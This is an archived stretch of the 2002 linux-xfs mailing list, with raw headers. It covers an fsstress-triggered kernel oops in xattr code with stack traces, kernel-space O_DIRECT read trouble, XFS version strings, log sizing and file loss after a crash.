web15205.mail.bjs.yahoo.com via HTTP; Tue, 12 Nov 2002 18:27:15 CST Date: Tue, 12 Nov 2002 18:27:15 +0800 (CST) From: =?gb2312?q?tom=20wang?= Subject: the cvs kernel oops !! To: linux-xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit X-archive-position: 1645 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: wddi_1976@yahoo.com.cn Precedence: bulk X-list: linux-xfs xfs developers: When I test xfs use the following shell, kernel oops!!! within 5 second. /fsstress -d /mnt/tmp \ -f allocsp=0 \ -f freesp=0 \ -f bulkstat=0 \ -f bulkstat1=0 \ -f resvsp=0 \ -f unresvsp=0 \ -f attr_set=100 -f attr_remove=100 \ -S -p 1 -n 10000 (A 200m xfs partition is mounted at /mnt/tmp) fsstress is the program provided in xfstest package. the kernel I used is now cvs kernel. the oops is easy reproduce, so maybe you can fix it soon. thanks _________________________________________________________ Do You Yahoo!? "ÊÇIT¾«Ó¢Âð£¿Ð¡ÊÔÅ£µ¶»ñʱÉд󽱣¡" http://cn.promo.yahoo.com/cgi-bin/udb/u From owner-linux-xfs@oss.sgi.com Tue Nov 12 02:38:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 02:39:01 -0800 (PST) Received: from wiprom2mx2.wipro.com (wiprom2mx2.wipro.com [203.197.164.42]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACAcsuR009122 for ; Tue, 12 Nov 2002 02:38:56 -0800 Received: from m2vwall5.wipro.com (m2vwall5.wipro.com [10.115.50.5]) by wiprom2mx2.wipro.com (8.11.3/8.11.3) with SMTP id gACAeK108790 for ; Tue, 12 Nov 2002 16:10:21 +0530 (IST) Received: from blr-m3-msg.wipro.com ([10.114.50.99]) by blr-m1-bh1.wipro.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 12 Nov 2002 16:10:19 +0530 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Subject: RE: open from kernel Date: Tue, 12 Nov 2002 16:10:19 +0530 Message-ID: <72D09F11CC09B645ADE2890F6B442FD81E6BDF@blr-m3-msg.wipro.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: open from kernel Thread-Index: AcKKM4K/pixB9SoGSdyqW14ygFOM1wABCR+c From: "santhosh kumar" To: "Seth Mos" , X-OriginalArrivalTime: 12 Nov 2002 10:40:19.0695 (UTC) FILETIME=[E56FF7F0:01C28A37] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by oss.sgi.com id gACAcvuR009123 X-archive-position: 1646 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: santhosh.kumar@wipro.com Precedence: bulk X-list: linux-xfs Yes, i have XFS fileystem support. I am able to open the file, but my read fails. The operations in user-space works. I think i am missing something before calling read. (Note: i am doing set_fs(KERNEL_DS), before calling read. Thanks Santhosh -----Original Message----- From: Seth Mos [mailto:knuffie@xs4all.nl] Sent: Tue 11/12/2002 3:36 PM To: santhosh kumar; linux-xfs@oss.sgi.com Cc: Subject: Re: open from kernel At 15:18 12-11-2002 +0530, santhosh kumar wrote: >Hi, > > I am not able to open files present in XFS filesystem from kernel > space. Is this a limitation or should i need to something in order to > achieve the same. I am using the O_DIRECT flag You need a kernel with XFS filesystem support to be able read files from XFS filesystems. if you "cat /proc/filesystems" does it contain the xfs string? Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Tue Nov 12 03:57:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 03:58:01 -0800 (PST) Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACBvtuR013637 for ; Tue, 12 Nov 2002 03:57:56 -0800 Received: from fwd02.sul.t-online.de by mailout05.sul.t-online.com with smtp id 18BZhY-0000ML-03; Tue, 12 Nov 2002 12:59:28 +0100 Received: from puariko.homeip.net (520039812576-0001@[217.231.220.79]) by fmrl02.sul.t-online.com with esmtp id 18BZhW-0G0gYSC; Tue, 12 Nov 2002 12:59:26 +0100 Received: (from thimm@localhost) by bonzo.nirvana (8.12.5/8.12.5/Submit) id gACBxMxk008476; Tue, 12 Nov 2002 12:59:22 +0100 Date: Tue, 12 Nov 2002 12:59:22 +0100 From: Axel Thimm To: linux-xfs@oss.sgi.com Subject: fwd: 1.2pre2 and XFS_VERSION_STRING Message-ID: <20021112115922.GA7985@bonzo.nirvana> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="gatW/ieO32f1wygP" Content-Disposition: inline User-Agent: Mutt/1.4i X-Sender: 520039812576-0001@t-dialin.net X-archive-position: 1647 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs --gatW/ieO32f1wygP Content-Type: multipart/mixed; boundary="LZvS9be/3tNcYl/X" Content-Disposition: inline --LZvS9be/3tNcYl/X Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable The following mail bounced due to > linux-xfs@oss.sgi.com > Connection timed out: > SMTP timeout while connected to oss.sgi.com [128.167.58.27] after end= of > data (1803 bytes written): > retry timeout exceeded Are those points still valid in 1.2pre3? --=20 Axel.Thimm@physik.fu-berlin.de --LZvS9be/3tNcYl/X Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84]) by up.physik.fu-berlin.de (8.9.3/8.9.1) with ESMTP id KAA659821 for ; Wed, 6 Nov 2002 10:33:03 +0100 (CET) Received: from fwd10.sul.t-online.de by mailout09.sul.t-online.com with smtp id 189MYX-0008P7-07; Wed, 06 Nov 2002 10:33:01 +0100 Received: from puariko.homeip.net (520039812576-0001@[217.231.219.18]) by fmrl10.sul.t-online.com with esmtp id 189MYQ-18Xrv6C; Wed, 6 Nov 2002 10:32:54 +0100 Received: (from thimm@localhost) by bonzo.nirvana (8.12.5/8.12.5/Submit) id gA69WqlO006363; Wed, 6 Nov 2002 10:32:52 +0100 Date: Wed, 6 Nov 2002 10:32:51 +0100 From: Axel Thimm To: linux-xfs@oss.sgi.com Subject: 1.2pre2 and XFS_VERSION_STRING Message-ID: <20021106093251.GA5009@bonzo.nirvana> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="9jxsPFA5p3P2qPhR" Content-Disposition: inline User-Agent: Mutt/1.4i X-Sender: 520039812576-0001@t-dialin.net X-Spam-Status: No, hits=-2.7 required=5.0 tests=PGP_SIGNATURE_2,AWL version=2.31 X-Spam-Level: --9jxsPFA5p3P2qPhR Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 1.2pre2 sets the version string as if it were pre1: fs/xfs/linux/xfs_version.h:#define XFS_VERSION_STRING "SGI XFS 1.2pre1" whereas 1.2pre1 did use the CVS date: fs/xfs/linux/xfs_version.h:#define XFS_VERSION_STRING "CVS-09/19/02:05" Personally I very much liked the date format. For instance I wanted to know whether the "problem with minimal acls on linux"-fix was part of it (it isn't). What CVS date is 1.2pre2 based on? --=20 Axel.Thimm@physik.fu-berlin.de --9jxsPFA5p3P2qPhR Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9yOHDQBVS1GOamfERAhSJAJ40pPiTBxzVntiT3isCjOSfrhJ8egCfXj9e XPlubmQ2LtdEGFoSqn6P4Kc= =B4Bq -----END PGP SIGNATURE----- --9jxsPFA5p3P2qPhR-- --LZvS9be/3tNcYl/X-- --gatW/ieO32f1wygP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE90O0aQBVS1GOamfERAuuzAJ4qpClBqoFTeCEYMwPpHz1wZXU/AwCgksvZ 3u4CW5F1bnw3UEZB/qCtVhE= =IgWT -----END PGP SIGNATURE----- --gatW/ieO32f1wygP-- From owner-linux-xfs@oss.sgi.com Tue Nov 12 05:50:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 05:50:27 -0800 (PST) Received: from gum.itee.uq.edu.au (gum.itee.uq.edu.au [130.102.66.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACDoMuR015923 for ; Tue, 12 Nov 2002 05:50:23 -0800 Received: from luma.itee.uq.edu.au (luma.itee.uq.edu.au [130.102.66.14]) by gum.itee.uq.edu.au (8.12.6/8.12.6) with ESMTP id gACDpq0i021696 for ; Tue, 12 Nov 2002 23:51:52 +1000 (EST) Received: from mango.csee.uq.edu.au (mango.itee.uq.edu.au [130.102.66.4]) by luma.itee.uq.edu.au (8.12.6/8.12.6) with ESMTP id gACDpqDn025432 for ; Tue, 12 Nov 2002 23:51:52 +1000 (EST) Date: Tue, 12 Nov 2002 23:51:52 +1000 (EST) From: Chris Pascoe X-X-Sender: chrisp@mango.csee.uq.edu.au To: linux-xfs@oss.sgi.com Subject: v2 vs v1 logs - number of transactions in log? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Checked: This message probably not SPAM X-Spam-Score: 0.2 X-Spam-Tests: SPAM_PHRASE_00_01,USER_AGENT_PINE X-Scanned-By: MIMEDefang 2.24 (www . roaringpenguin . com / mimedefang) X-archive-position: 1648 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: c.pascoe@itee.uq.edu.au Precedence: bulk X-list: linux-xfs Hi, Quick questions for the developers - if one generates a filesystem with version 2 logs and specifies a stripe unit size, of say 16kB, at this time, does this reduce the number of transactions that can be in the log at a given time? Is there a need to increase the log size from the default to ensure better performance by making sure that the log doesn't need to be flushed more frequently as a result of this change? I'm imagining as follows: if a log is, say, 1000 4kB filesystem blocks (as long picked by a default mkfs command, hypothetically) when using version 1, it can hold 8000 512-byte log entries. The same log in version 2 format presumably holds less entries if everything is done stripe unit aligned, yes? Quite probably I'm just plain confused, having not read how the version two log code works yet - is there a simple answer? Thanks, Chris From owner-linux-xfs@oss.sgi.com Tue Nov 12 06:04:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 06:04:15 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACE4BuR017585 for ; Tue, 12 Nov 2002 06:04:11 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA23391; Tue, 12 Nov 2002 08:05:39 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id IAA56122; Tue, 12 Nov 2002 08:05:39 -0600 (CST) Date: Tue, 12 Nov 2002 08:04:37 -0600 (CST) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Axel Thimm cc: linux-xfs@oss.sgi.com Subject: Re: fwd: 1.2pre2 and XFS_VERSION_STRING In-Reply-To: <20021112115922.GA7985@bonzo.nirvana> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1649 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Hi Axel - Well, the version strings have not been set up very well on the -pre releases. The plan was to set them to the 1.2preX release number. The CVS date is not very relevant anymore... the first pre1 kernel was a clone of cvs at one point, but subsequent releases have taken bits and pieces, but not all, of subsequent cvs changes. The "minimal acl" fix is in pre3 for sure, probably in pre2. -Eric On Tue, 12 Nov 2002, Axel Thimm wrote: 1.2pre2 sets the version string as if it were pre1: fs/xfs/linux/xfs_version.h:#define XFS_VERSION_STRING "SGI XFS 1.2pre1" whereas 1.2pre1 did use the CVS date: fs/xfs/linux/xfs_version.h:#define XFS_VERSION_STRING "CVS-09/19/02:05" Personally I very much liked the date format. For instance I wanted to know whether the "problem with minimal acls on linux"-fix was part of it (it isn't). What CVS date is 1.2pre2 based on? From owner-linux-xfs@oss.sgi.com Tue Nov 12 06:15:09 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 06:15:10 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACEF6uR018110 for ; Tue, 12 Nov 2002 06:15:07 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA70145; Tue, 12 Nov 2002 08:16:35 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id IAA39014; Tue, 12 Nov 2002 08:16:34 -0600 (CST) Date: Tue, 12 Nov 2002 08:15:33 -0600 (CST) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: santhosh kumar cc: Seth Mos , Subject: RE: open from kernel In-Reply-To: <72D09F11CC09B645ADE2890F6B442FD81E6BDF@blr-m3-msg.wipro.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1650 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Hi Santhosh - How does the read fail? (what error value?) Do you have the correct buffer alignment and read size for O_DIRECT? (I assume so, since this worked in user-space for you?) -Eric On Tue, 12 Nov 2002, santhosh kumar wrote: > Yes, i have XFS fileystem support. I am able to open the file, but my read fails. The operations in user-space works. > > I think i am missing something before calling read. (Note: i am doing set_fs(KERNEL_DS), before calling read. > > Thanks > Santhosh > > -----Original Message----- > From: Seth Mos [mailto:knuffie@xs4all.nl] > Sent: Tue 11/12/2002 3:36 PM > To: santhosh kumar; linux-xfs@oss.sgi.com > Cc: > Subject: Re: open from kernel > > > > At 15:18 12-11-2002 +0530, santhosh kumar wrote: > >Hi, > > > > I am not able to open files present in XFS filesystem from kernel > > space. Is this a limitation or should i need to something in order to > > achieve the same. I am using the O_DIRECT flag > > You need a kernel with XFS filesystem support to be able read files from > XFS filesystems. > > if you "cat /proc/filesystems" does it contain the xfs string? > > Cheers > > -- > Seth > It might just be your lucky day, if you only knew. > > > > > From owner-linux-xfs@oss.sgi.com Tue Nov 12 06:25:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 06:25:51 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACEPhuR018884 for ; Tue, 12 Nov 2002 06:25:47 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA13855; Tue, 12 Nov 2002 08:27:08 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id IAA65048; Tue, 12 Nov 2002 08:27:08 -0600 (CST) Date: Tue, 12 Nov 2002 08:26:06 -0600 (CST) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: =?gb2312?q?tom=20wang?= cc: linux-xfs@oss.sgi.com Subject: Re: the cvs kernel oops !! In-Reply-To: <20021112102715.57735.qmail@web15205.mail.bjs.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by ledzep.americas.sgi.com id IAA13855 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gACEPluR018886 X-archive-position: 1651 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Yes, this oopses my box as well. The stack is pretty straightforward, EBP EIP Function (args) 0xc24e5e50 0xc012ecb0 vfree+0x80 (0xd0873000) kernel .text 0xc0100000 0xc012ec30 0xc012ece0 0xc24e5e5c 0xc01530c6 xattr_free+0x26 (0xd0873000, 0x110f, 0x72657375, 0x6637612e, 0xcedf2500) kernel .text 0xc0100000 0xc01530a0 0xc01530d0 0xc24e5f78 0xc0153223 setxattr+0x153 (0xce92d5a0, 0xbffff5d0, 0x8051f00, 0x110f, 0x0) kernel .text 0xc0100000 0xc01530d0 0xc0153230 0xc24e5fbc 0xc01532b9 sys_lsetxattr+0x39 (0x8051d58, 0xbffff5d0, 0x8051f00, 0x110f, 0x0) kernel .text 0xc0100000 0xc0153280 0xc01532d0 0xc010718b system_call+0x33 kernel .text 0xc0100 Could you please file a bug in bugzilla? http://oss.sgi.com/bugzilla Thanks, -Eric On Tue, 12 Nov 2002, [gb2312] tom wang wrote: > xfs developers: > When I test xfs use the following shell, kernel > oops!!! within 5 second. > > /fsstress -d /mnt/tmp \ > -f allocsp=0 \ > -f freesp=0 \ > -f bulkstat=0 \ > -f bulkstat1=0 \ > -f resvsp=0 \ > -f unresvsp=0 \ > -f attr_set=100 -f attr_remove=100 \ > -S -p 1 -n 10000 > (A 200m xfs partition is mounted at /mnt/tmp) > > fsstress is the program provided in xfstest package. > the kernel I used is now cvs kernel. > > the oops is easy reproduce, so maybe you can fix it > soon. > thanks > > _________________________________________________________ > Do You Yahoo!? > "ÊÇIT¾«Ó¢Âð£¿Ð¡ÊÔÅ£µ¶»ñʱÉд󽱣¡" > http://cn.promo.yahoo.com/cgi-bin/udb/u > > From owner-linux-xfs@oss.sgi.com Tue Nov 12 06:36:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 06:36:30 -0800 (PST) Received: from thunker.thunk.org (thunk.org [140.239.227.29]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACEaRuR019369 for ; Tue, 12 Nov 2002 06:36:28 -0800 Received: from [216.175.175.162] (helo=think.thunk.org) by thunker.thunk.org with asmtp (Exim 3.35 #1 (Debian)) id 18BbYZ-0003pN-00; Tue, 12 Nov 2002 08:58:19 -0500 Received: from tytso by think.thunk.org with local (Exim 3.35 #1 (Debian)) id 18BbYZ-0000WJ-00; Tue, 12 Nov 2002 08:58:19 -0500 Date: Tue, 12 Nov 2002 08:58:19 -0500 From: "Theodore Ts'o" To: Andreas Gruenbacher Cc: Alexander Viro , "Stephen C.Tweedie" , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com Subject: Re: Extended attributes: process vs. kernel context (e.g. HSM) Message-ID: <20021112135819.GB1869@think.thunk.org> References: <200211100135.26236.agruen@suse.de> <200211111334.32074.agruen@suse.de> <20021111210524.GB6032@think.thunk.org> <200211120012.22860.agruen@suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200211120012.22860.agruen@suse.de> User-Agent: Mutt/1.3.28i X-archive-position: 1652 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tytso@mit.edu Precedence: bulk X-list: linux-xfs On Tue, Nov 12, 2002 at 12:12:22AM +0100, Andreas Gruenbacher wrote: > > The other thing to consider here is that I really don't want to > > start us down the path where individual user attributes are owned > > by some user or group other than the owner or group owner of the > > base file. When you start talking about "credentials being passed > > around", as opposed to simply a single bit which says, "this is > > official kernel business", you're scaring me. > > I wasn't thinking of different permissions for different attributes, > but of a way do decouple the running process from the credentials > seen in the file system. The only cases at the moment are kernel > context vs. process context, but other cases might come up in the > future (NFS?). As long as stick to a very simple file ownership access control model for xattr's, then NFS can simply do the uid check itself. We don't need to pass full set of credentials; a simple integer comparison in the NFS code before it calls the set_xattr() call will do. (And maybe a special case test for uid == 0, although why anyone who cares about security wwould be insane enough to run NFS without NFS root squash enabled is completely beyond me....) - Ted From owner-linux-xfs@oss.sgi.com Tue Nov 12 06:42:06 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 06:42:07 -0800 (PST) Received: from wiprom2mx2.wipro.com (wiprom2mx2.wipro.com [203.197.164.42]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACEg2uR019814 for ; Tue, 12 Nov 2002 06:42:04 -0800 Received: from m2vwall5.wipro.com (m2vwall5.wipro.com [10.115.50.5]) by wiprom2mx2.wipro.com (8.11.3/8.11.3) with SMTP id gACEhU121352 for ; Tue, 12 Nov 2002 20:13:31 +0530 (IST) Received: from blr-m3-msg.wipro.com ([10.114.50.99]) by blr-m1-bh2.wipro.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 12 Nov 2002 20:13:29 +0530 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Subject: RE: open from kernel Date: Tue, 12 Nov 2002 20:13:28 +0530 Message-ID: <72D09F11CC09B645ADE2890F6B442FD81E6BE4@blr-m3-msg.wipro.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: open from kernel Thread-Index: AcKKVkUl6g11Hu3rQJeKOOgOA+V5hQAA0GD0 From: "santhosh kumar" To: "Eric Sandeen" Cc: "Seth Mos" , X-OriginalArrivalTime: 12 Nov 2002 14:43:29.0152 (UTC) FILETIME=[DD6E7000:01C28A59] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by oss.sgi.com id gACEg6uR019815 X-archive-position: 1653 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: santhosh.kumar@wipro.com Precedence: bulk X-list: linux-xfs Hi Eric, I am getting EFAULT (14). I feel, this is because i am allocating the memory using alloc_bootmem_pages (during boot time) and hence it not associated with any pages and get_user_pages returns this error. Is there any way i can over come this. Any pointers are welcome. Thanks Regards Santhosh -----Original Message----- From: Eric Sandeen [mailto:sandeen@sgi.com] Sent: Tue 11/12/2002 7:45 PM To: santhosh kumar Cc: Seth Mos; linux-xfs@oss.sgi.com Subject: RE: open from kernel Hi Santhosh - How does the read fail? (what error value?) Do you have the correct buffer alignment and read size for O_DIRECT? (I assume so, since this worked in user-space for you?) -Eric On Tue, 12 Nov 2002, santhosh kumar wrote: > Yes, i have XFS fileystem support. I am able to open the file, but my read fails. The operations in user-space works. > > I think i am missing something before calling read. (Note: i am doing set_fs(KERNEL_DS), before calling read. > > Thanks > Santhosh > > -----Original Message----- > From: Seth Mos [mailto:knuffie@xs4all.nl] > Sent: Tue 11/12/2002 3:36 PM > To: santhosh kumar; linux-xfs@oss.sgi.com > Cc: > Subject: Re: open from kernel > > > > At 15:18 12-11-2002 +0530, santhosh kumar wrote: > >Hi, > > > > I am not able to open files present in XFS filesystem from kernel > > space. Is this a limitation or should i need to something in order to > > achieve the same. I am using the O_DIRECT flag > > You need a kernel with XFS filesystem support to be able read files from > XFS filesystems. > > if you "cat /proc/filesystems" does it contain the xfs string? > > Cheers > > -- > Seth > It might just be your lucky day, if you only knew. > > > > > From owner-linux-xfs@oss.sgi.com Tue Nov 12 07:51:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 07:51:43 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACFpfuR022038 for ; Tue, 12 Nov 2002 07:51:41 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA40715; Tue, 12 Nov 2002 09:53:10 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id JAA00671; Tue, 12 Nov 2002 09:53:09 -0600 (CST) Subject: Re: the cvs kernel oops !! From: Eric Sandeen To: Eric Sandeen Cc: tom wang , linux-xfs@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 12 Nov 2002 09:52:07 -0600 Message-Id: <1037116327.14690.42.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1654 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Whoops, it's my turn to be short on coffee this morning... as Steve points out, this is generic xattr code, not xfs code. So, this might be one for the list at http://acl.bestbits.at/ It would at least be interesting to try it on an ext3+xattr filesystem. I got a different stack this time, but also in the generic code. It's not clear to me why this oopsed! EBP EIP Function (args) 0xce127e00 0xc012ebde get_vm_area+0x9e (0x2000, 0x2, 0x0, 0x0, 0xce35c83c) kernel .text 0xc0100000 0xc012eb40 0xc012ec30 0xce127e40 0xc012ed1f __vmalloc+0x3f (0x1a73, 0x1f2, 0x163, 0x9, 0xce127f94) kernel .text 0xc0100000 0xc012ece0 0xc012eee0 0xce127e5c 0xc0153090 xattr_alloc+0x50 (0x1a73, 0x10000, 0x72657375, 0x6332612e, 0xce090034) kernel .text 0xc0100000 0xc0153040 0xc01530c0 0xce127f78 0xc0153161 setxattr+0x61 (0xcd8f2adc, 0xbffff5e0, 0x80522d0, 0x1a73, 0x0) kernel .text 0xc0100000 0xc0153100 0xc0153260 0xce127fbc 0xc01532e9 sys_lsetxattr+0x39 (0x8051d58, 0xbffff5e0, 0x80522d0, 0x1a73, 0x0) kernel .text 0xc0100000 0xc01532b0 0xc0153300 0xc010718b system_call+0x33 kernel .text 0xc0100000 0xc0107158 0xc0107190 -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Tue Nov 12 08:11:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 08:11:57 -0800 (PST) Received: from silver.digirati.com.br (silver.digirati.com.br [200.185.109.126]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACGBouR023093 for ; Tue, 12 Nov 2002 08:11:53 -0800 Received: from wsmichel (RJ227136.user.veloxzone.com.br [200.165.227.136]) by silver.digirati.com.br (8.11.6/8.11.6) with SMTP id gACGDGx08233 for ; Tue, 12 Nov 2002 14:13:17 -0200 Message-ID: <00e701c28a66$72bf6b80$1601070a@mz.digirati.com.br> From: "Michel Machado" To: Subject: Bug or feature? Date: Tue, 12 Nov 2002 14:13:24 -0200 Organization: Digirati MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-archive-position: 1655 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: michel@digirati.com.br Precedence: bulk X-list: linux-xfs Hi, I have a Mandrake 9.0 box using XFS. When I edit a file (e.g. /etc/crontab) with vi and have a crash (e.g. hard reset button) the file is lose, output by hexdump: hexdump crontab 0000000 0000 0000 0000 0000 0000 0000 0000 0000 * 0000120 0000 0000 0000 0000 0000 0000 000012b Is it a feature or a bug? Is there some parameter via sysctl to help? [ ]'s Michel Machado From owner-linux-xfs@oss.sgi.com Tue Nov 12 08:27:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 08:27:27 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACGROuR029409 for ; Tue, 12 Nov 2002 08:27:24 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA12789; Tue, 12 Nov 2002 10:28:43 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id KAA81137; Tue, 12 Nov 2002 10:28:37 -0600 (CST) Subject: Re: Bug or feature? From: Eric Sandeen To: Michel Machado 